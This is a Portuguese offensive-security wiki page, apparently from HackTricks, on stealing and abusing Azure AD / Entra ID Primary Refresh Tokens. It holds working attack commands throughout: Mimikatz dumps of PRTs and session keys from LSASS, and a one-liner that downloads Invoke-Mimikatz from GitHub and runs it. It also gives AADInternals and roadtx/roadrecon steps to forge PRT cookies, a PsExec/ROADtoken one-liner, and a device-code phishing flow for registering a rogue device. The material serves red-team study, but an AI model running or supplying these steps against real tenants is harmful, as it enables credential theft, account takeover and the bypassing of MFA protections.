Az - Primary Refresh Token (PRT)

Reading time: 21 minutes

O que é um Primary Refresh Token (PRT)?

Um Primary Refresh Token (PRT) é um token de atualização de longa duração usado na autenticação do Azure AD (Entra ID), análogo a um Kerberos TGT. Ele é emitido quando o usuário faz login em um dispositivo associado ao Azure AD e pode ser usado para solicitar tokens de acesso para vários aplicativos sem solicitar novamente as credenciais. Cada PRT é acompanhado por uma chave de sessão (também chamada de chave de Prova de Posse) -- uma chave simétrica usada para assinar solicitações e provar que o cliente possui o PRT. O PRT em si é um blob opaco e criptografado (não legível pelo cliente), enquanto a chave de sessão é usada para assinar um JWT contendo o PRT ao solicitar tokens. Em outras palavras, a posse do PRT sozinho é insuficiente; um atacante precisa da chave de sessão para provar legitimidade, semelhante à necessidade de ter tanto um Kerberos TGT quanto sua chave de sessão para autenticação.

No Windows, o PRT e a chave de sessão são armazenados em cache no processo LSASS via o plugin CloudAP. Se um dispositivo possui um TPM (Trusted Platform Module), o Azure AD vincula chaves ao TPM para segurança extra. Isso significa que em dispositivos equipados com TPM, a chave de sessão é armazenada ou usada dentro do TPM de forma que não pode ser lida diretamente da memória em circunstâncias normais. Se nenhum TPM estiver disponível (por exemplo, muitas VMs ou sistemas mais antigos), as chaves são mantidas em software e protegidas com criptografia DPAPI. Em ambos os casos, um atacante com privilégios administrativos ou execução de código na máquina pode tentar extrair o PRT e a chave de sessão da memória como parte da pós-exploração, e então usá-los para se passar pelo usuário na nuvem. Ao contrário dos tokens de atualização típicos (que geralmente são específicos de aplicativos), um PRT é mais amplo, permitindo que seu dispositivo solicite tokens para quase qualquer recurso ou serviço integrado ao Entra ID.

Como um PRT Funciona?

Aqui está uma explicação simplificada de como um PRT opera:

1. Registro do Dispositivo:

• Quando seu dispositivo (como um laptop Windows ou um telefone móvel) se junta ou registra no Entra ID, ele se autentica usando suas credenciais (nome de usuário/senha/MFA).

• Após a autenticação bem-sucedida, o Entra ID emite um PRT vinculado especificamente ao seu dispositivo.

2. Armazenamento do Token:

• O PRT é armazenado com segurança em seu dispositivo, frequentemente protegido por recursos de hardware como o Trusted Platform Module (TPM), garantindo que seja difícil para partes não autorizadas extraí-lo ou abusá-lo.

3. Single Sign-On (SSO):

• Cada vez que você acessa um aplicativo protegido pelo Entra ID (por exemplo, aplicativos do Microsoft 365, SharePoint, Teams), seu dispositivo usa silenciosamente o PRT armazenado para solicitar e obter um token de acesso específico para esse aplicativo.

• Você não precisa inserir suas credenciais repetidamente porque o PRT lida com a autenticação de forma transparente.

4. Renovação e Segurança:

• Os PRTs têm uma longa vida útil (tipicamente em torno de 14 dias), mas são continuamente renovados enquanto seu dispositivo estiver em uso ativo.

• Se seu dispositivo for comprometido ou perdido, os administradores podem revogar seu PRT remotamente, bloqueando imediatamente o acesso não autorizado.

Por que os PRTs são Poderosos?

• Acesso Universal: Ao contrário dos tokens típicos limitados a um aplicativo ou recurso, um PRT pode facilitar o acesso a todos os serviços integrados ao Entra ID.

• Segurança Aprimorada: Com proteções de hardware integradas (como TPM), os PRTs garantem armazenamento e uso seguro de tokens.

• Experiência do Usuário: Os PRTs melhoram significativamente a experiência do usuário, reduzindo solicitações frequentes de autenticação e permitindo um verdadeiro SSO sem interrupções.

Como saber se um PRT está presente?

• Verifique se o PRT está presente:

# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES

• Verifique se está protegido por TPM:

Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.

dsregcmd /status
# In Device State / WHfB prerequisites you’ll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).

Passar o PRT

De acordo com este post em dispositivos Windows sem vinculação TPM, o PRT e sua chave de sessão residem no LSASS (plug-in CloudAP). Com acesso de administrador local/SYSTEM nesse dispositivo, o blob do PRT e a chave de sessão criptografada pelo DPAPI podem ser lidos do LSASS, a chave de sessão descriptografada via DPAPI, e a chave de assinatura derivada para criar um cookie PRT válido (x‑ms‑RefreshTokenCredential). Você precisa tanto do PRT quanto de sua chave de sessão—apenas a string do PRT não é suficiente.

Mimikatz

1. O PRT (Primary Refresh Token) é extraído do LSASS (Serviço de Subsistema de Autoridade de Segurança Local) e armazenado para uso posterior.
2. A Chave de Sessão é extraída em seguida. Dado que essa chave é inicialmente emitida e depois recriptografada pelo dispositivo local, é necessário descriptografá-la usando uma chave mestra DPAPI. Informações detalhadas sobre DPAPI (Data Protection API) podem ser encontradas nesses recursos: HackTricks e para entender sua aplicação, consulte Pass-the-cookie attack.
3. Após a descriptografia da Chave de Sessão, a chave derivada e o contexto para o PRT são obtidos. Estes são cruciais para a criação do cookie PRT. Especificamente, a chave derivada é empregada para assinar o JWT (JSON Web Token) que constitui o cookie. Uma explicação abrangente desse processo foi fornecida por Dirk-jan, acessível aqui.

privilege::debug
sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

O campo PRT contém o token de atualização criptografado (tipicamente uma string base64), e o KeyValue no ProofOfPossessionKey é a chave de sessão criptografada com DPAPI (também base64).

Então, a partir da saída de sekurlsa::cloudap, copie o blob base64 de KeyValue dentro do campo ProofOfPossessionKey (esta é a chave de sessão criptografada com DPAPI). Esta chave criptografada não pode ser usada como está – ela deve ser descriptografada usando as credenciais DPAPI do sistema.

Como a criptografia DPAPI para segredos do sistema requer o contexto do sistema da máquina, eleve seu token para SYSTEM e use o módulo DPAPI do Mimikatz para descriptografar:

token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect

# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'

O token::elevate irá impersonar o SYSTEM e o comando dpapi::cloudapkd com /unprotect usará a chave mestra do DPAPI para descriptografar o blob KeyValue fornecido. Isso resulta na chave de sessão em texto claro e também na Chave Derivada e Contexto associados usados para assinatura:

• Chave clara – a chave de sessão de 32 bytes em texto simples (representada como uma string hexadecimal).
• Chave Derivada – uma chave de 32 bytes derivada da chave de sessão e um valor de contexto (mais sobre isso abaixo).
• Contexto – um contexto aleatório de 24 bytes que foi usado ao derivar a chave de assinatura para o cookie PRT.

Então, você também pode usar o mimikatz para gerar um cookie PRT válido:

# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>

Mimikatz irá gerar um JWT assinado (o PRT cookie) após a linha “Signature with key”, que contém o PRT e é assinado usando a chave derivada. Este JWT pode ser copiado e então usado em uma sessão web. Por exemplo, um atacante pode abrir um navegador, ir para login.microsoftonline.com, e definir um cookie chamado x-ms-RefreshTokenCredential com o valor sendo este JWT. Quando o navegador é atualizado ou navega, o Azure AD tratará a sessão como autenticada (o PRT cookie é apresentado como se o SSO tivesse ocorrido), e emitirá um código de autorização ou token de acesso para o recurso especificado. Na prática, alguém navegaria para um recurso como Office 365 ou o portal do Azure; a presença de um PRT cookie válido significa que o Azure AD concederá acesso sem login adicional (contornando o MFA, já que o PRT já está autenticado).

Você também poderia usar roadtx e roadrecon com o PRT do PRT cookie para se passar pelo usuário (TODO: Encontrar as linhas de comando exatas para usar roadtx/roadrecon para obter credenciais de um PRT).

Mimikatz + AADInternals

O módulo PowerShell AADInternals também pode ser usado com o PRT e a chave de sessão obtidos anteriormente para gerar um token PRT válido. Isso é útil para automatizar o processo de obtenção de um novo token PRT com nonce, que pode ser usado para buscar tokens de acesso para a API do Azure AD Graph ou outros recursos:

# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"

# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}

# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"

# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey

# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken

Isso obtém um cookie PRT fresco (com um nonce) e, em seguida, o utiliza para buscar um token de acesso para a Azure AD Graph API (demonstrando acesso à nuvem em nome do usuário). AADInternals abstrai grande parte da criptografia e usa componentes do Windows ou sua própria lógica nos bastidores.

Mimikatz + roadtx

• Renove o PRT primeiro, que será salvo em roadtx.prt:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>

• Agora podemos solicitar tokens usando o navegador interativo com roadtx browserprtauth. Se usarmos o comando roadtx describe, veremos que o token de acesso inclui uma reivindicação de MFA porque o PRT que usei neste caso também tinha uma reivindicação de MFA.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Mimikatz + roadrecon

Tendo o contexto e a chave derivada despejada pelo mimikatz, é possível usar o roadrecon para gerar um novo cookie assinado com:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Abusando PRTs protegidos

Apesar das proteções mencionadas, um atacante que já comprometeu um dispositivo (como um usuário local ou até mesmo SYSTEM) ainda pode abusar do PRT para obter novos tokens de acesso aproveitando as próprias APIs e componentes de segurança do broker de tokens do Windows. Em vez de extrair o PRT ou a chave bruta, o atacante essencialmente "pede" ao Windows para usar o PRT em seu nome. Nas seções abaixo, descrevemos técnicas atualmente válidas para abusar de PRTs e suas chaves de sessão em dispositivos Windows atualizados onde as proteções TPM estão em vigor. Todas essas técnicas assumem acesso pós-exploração na máquina alvo e focam em abusar dos fluxos de autenticação integrados (sem necessidade de vulnerabilidades não corrigidas).

Arquitetura do Broker de Tokens do Windows e Fluxo SSO

O Windows moderno lida com a autenticação em nuvem por meio de uma pilha de broker de tokens integrada, que inclui componentes tanto em modo de usuário quanto no LSASS (Local Security Authority). Peças-chave dessa arquitetura incluem:

• Plugin CloudAP do LSASS: Quando um dispositivo está associado ao Azure AD, o LSASS carrega pacotes de autenticação em nuvem (por exemplo, CloudAP.dll, aadcloudap.dll, MicrosoftAccountCloudAP.dll) que gerenciam PRTs e solicitações de tokens. O LSASS (executando como SYSTEM) orquestra o armazenamento, renovação e uso do PRT, e se comunica com o TPM para realizar operações criptográficas (como assinar um desafio de PRT com a chave de sessão).

• Gerenciador de Contas da Web (WAM): O Gerenciador de Contas da Web do Windows é uma estrutura em modo de usuário (acessível via APIs COM/WinRT) que permite que aplicativos ou navegadores solicitem tokens para contas em nuvem sem solicitar credenciais. O WAM atua como um intermediário entre aplicativos de usuário e o PRT protegido por LSASS/TPM. Por exemplo, a biblioteca MSAL da Microsoft e certos componentes do SO usam o WAM para adquirir tokens silenciosamente usando o PRT do usuário logado.

• BrowserCore.exe e interfaces COM do Broker de Tokens: Para SSO em navegadores, o Windows inclui um componente chamado BrowserCore.exe (localizado em Windows Security\BrowserCore). Este é um host de mensagens nativo usado por navegadores (Edge, Chrome via uma extensão, etc.) para obter um token SSO derivado do PRT para login no Azure AD. Nos bastidores, o BrowserCore aproveita um objeto COM fornecido por MicrosoftAccountTokenProvider.dll para recuperar um cookie/token baseado em PRT. Em essência, essa interface COM é uma API de "broker de tokens" de primeira parte que qualquer processo executando como o usuário pode chamar para obter um token SSO (desde que o usuário tenha um PRT válido no LSASS).

Quando um usuário associado ao Azure AD tenta acessar um recurso (digamos, o Portal do Azure), o fluxo é tipicamente: um aplicativo chama a interface COM do WAM ou do BrowserCore, que por sua vez se comunica com o LSASS. O LSASS usa o PRT e a chave de sessão (protegida pelo TPM) para produzir um token SSO -- frequentemente chamado de cookie PRT -- que é então devolvido ao aplicativo ou navegador. O cookie PRT é um JWT especial contendo o PRT criptografado e um nonce, assinado com uma chave derivada da chave de sessão do PRT. Este cookie é enviado ao Azure AD (em um cabeçalho x-ms-RefreshTokenCredential) para provar que o dispositivo e o usuário possuem um PRT válido, permitindo que o Azure AD emita tokens de acesso e refresh padrão do OAuth para vários aplicativos. Notavelmente, qualquer reivindicação de Autenticação Multifator (MFA) presente no PRT será transportada para os tokens obtidos por meio desse processo SSO, significando que tokens derivados do PRT podem satisfazer recursos protegidos por MFA.

Roubo de Token em Nível de Usuário (Não-Admin)

Quando um atacante tem execução de código em nível de usuário, a proteção TPM do PRT não impede o atacante de obter tokens. O atacante aproveita as APIs integradas do Broker de Tokens do Windows:

BrowserCore (MicrosoftAccountTokenProvider COM)

O BrowserCore expõe uma classe COM (MicrosoftAccountTokenProvider, CLSID {a9927f85-a304-4390-8b23-a75f1c668600}) para buscar cookies PRT. Esta API COM é invocada legitimamente por navegadores (extensões do Chrome/Edge) para SSO do Azure AD.

• RequestAADRefreshToken

RequestAADRefreshToken.exe --uri https://login.microsoftonline.com

(Retorna um token de atualização do Azure AD ou cookie PRT)

• ROADtoken & ROADtools

ROADtoken executará BrowserCore.exe do diretório correto e o usará para obter um cookie PRT. Este cookie pode então ser usado com ROADtools para autenticar e obter um token de atualização persistente.

Para gerar um cookie PRT válido, a primeira coisa que você precisa é de um nonce.
Você pode obter isso com:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Ou usando roadrecon:

roadrecon auth prt-init

Então você pode usar roadtoken para obter um novo PRT (execute a ferramenta a partir de um processo do usuário para atacar):

.\ROADtoken.exe <nonce>

Como uma linha:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Então você pode usar o cookie gerado para gerar tokens para fazer login usando Azure AD Graph ou Microsoft Graph:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

APIs do Gerenciador de Contas da Web (WAM)

Os atacantes usam bibliotecas de autenticação legítimas da Microsoft (MSAL, WAM APIs, WebAuthenticationCoreManager) de processos em nível de usuário para recuperar silenciosamente tokens aproveitando o PRT protegido por TPM.

• aadprt

execute-assembly aadprt.exe

(Recupera o cookie PRT via interfaces COM)

• listwamaccounts

execute-assembly listwamaccounts.exe

(Lista contas do Azure AD logadas via WAM; identifica alvos de token)

• Exemplo Genérico (PowerShell com MSAL):

$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken

(Silenciosamente obtém um token de acesso aproveitando o PRT)

Abuso de Token em Nível de Administrador / SYSTEM

Se o atacante escalar para Administrador ou SYSTEM, ele pode diretamente se passar por qualquer usuário logado no Azure AD e usar as mesmas APIs de broker de token COM/WAM. PRTs protegidos por TPM não impedem essa emissão legítima de token.

Imitação de Usuário e Recuperação de Token

Admin/SYSTEM poderia se passar por sessões em execução de outros usuários para invocar o BrowserCore ou WAM para geração de token.

Para isso, basta imitar o processo do usuário (por exemplo, explorer.exe) e invocar as APIs do broker de token usando qualquer técnica comentada na seção anterior.

Interação Direta com LSASS & Broker de Token (Avançado)

Um administrador ainda pode trabalhar com LSASS para abusar do PRT: por exemplo, um admin poderia injetar código no LSASS ou chamar funções internas do CloudAP para solicitar que o LSASS produza um token. A pesquisa de Dirk-jan observou que um admin pode “interagir com chaves PRT no LSASS usando APIs criptográficas”. Na prática, isso poderia significar usar as próprias funções do LSASS (via uma técnica como API hooking ou RPC, se disponível) para gerar um cookie PRT. Outra abordagem é explorar qualquer janela onde a chave de sessão possa aparecer na memória – por exemplo, no momento da renovação do PRT ou registro do dispositivo, quando está descriptografado para uso. Esses ataques são consideravelmente mais complexos e situacionais. Uma tática mais direta de admin é abusar de handles ou caches de token existentes: o LSASS armazena em cache tokens de atualização recentemente emitidos para aplicativos na memória (criptografados com DPAPI). Um atacante SYSTEM determinado poderia tentar extrair esses tokens protegidos por DPAPI (usando a chave mestra do usuário, que um admin pode obter) para roubar diretamente tokens de atualização para aplicativos específicos. No entanto, o método mais fácil e genérico continua sendo a imitação e o uso das interfaces de broker de token documentadas, uma vez que essas garantem que o Azure AD emitirá tokens novos (com todas as reivindicações apropriadas) em vez de tentar quebrar a criptografia.

Phishing de PRTs

Abuse o fluxo de Código de Dispositivo OAuth usando o ID do cliente do Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) e o recurso do Serviço de Registro de Dispositivos (DRS) para obter um token de atualização que pode ser atualizado para um Token de Atualização Primário (PRT) após registrar um dispositivo malicioso.

Por que isso funciona

• PRT é vinculado ao dispositivo e permite SSO para (quase) qualquer aplicativo protegido pelo Entra.
• A combinação de Broker client + DRS permite que um token de atualização phishing seja trocado por um PRT uma vez que um dispositivo esteja registrado.
• MFA não é contornado: o usuário realiza MFA durante o phishing; as reivindicações de MFA se propagam no PRT resultante, permitindo que o atacante acesse aplicativos sem mais solicitações.

Pré-requisitos:

• Autenticação do usuário via Código de Dispositivo usando o ID do cliente do Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) e escopos/recurso do DRS (por exemplo, 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default ou https://enrollment.manage.microsoft.com/).
• Usuário pode registrar dispositivos no Entra ID (padrão: permitido, mas pode ser restrito ou limitado por cota).
• Sem políticas CA bloqueadoras que desativem o Código de Dispositivo ou exijam dispositivos compatíveis/híbridos para aplicativos-alvo (esses não impedirão a emissão de PRT, mas irão bloquear o uso para acessar aplicativos protegidos).
• Host controlado pelo atacante para executar o fluxo e manter os tokens/chaves do dispositivo.

Fluxo de Ataque:

1. Iniciar autenticação por Código de Dispositivo com client_id = Broker e escopo/recurso do DRS; mostrar o código do usuário para a vítima.

curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"

2. A vítima faz login no site da Microsoft (UI legítima) e completa MFA → o atacante recebe um token de atualização com escopo DRS para o cliente Broker.

3. Registrar um dispositivo malicioso no locatário usando esse token de atualização (o objeto do dispositivo é criado e vinculado à vítima).

4. Atualizar para um PRT trocando o token de atualização + identidade/chaves do dispositivo → PRT vinculado ao dispositivo do atacante.

5. (Persistência opcional): se a MFA foi recente, registrar uma chave do Windows Hello for Business para manter acesso sem senha a longo prazo.

6. Abuso: resgatar o PRT (ou criar um cookie PRT) para obter tokens de acesso para Exchange/Graph/SharePoint/Teams/aplicativos personalizados como o usuário.

Ferramentas Públicas e Provas de Conceito

• ROADtools/ROADtx: Automatiza o fluxo OAuth, registro de dispositivos e atualizações de tokens.
• DeviceCode2WinHello: Script de comando único que automatiza o phishing de código de dispositivo para chaves PRT+WHfB.

Referências

• Postagem no blog de Dirkjan sobre PRT
• Postagem de Dirkjan sobre phishing de PRTs
• Postagem de Dirkjan sobre abusar de PRTs
• Postagem da SpecterOps sobre Solicitando Tokens de Solicitação do Azure AD
• Postagem do AADInternals sobre PRTs
• blog.3or.de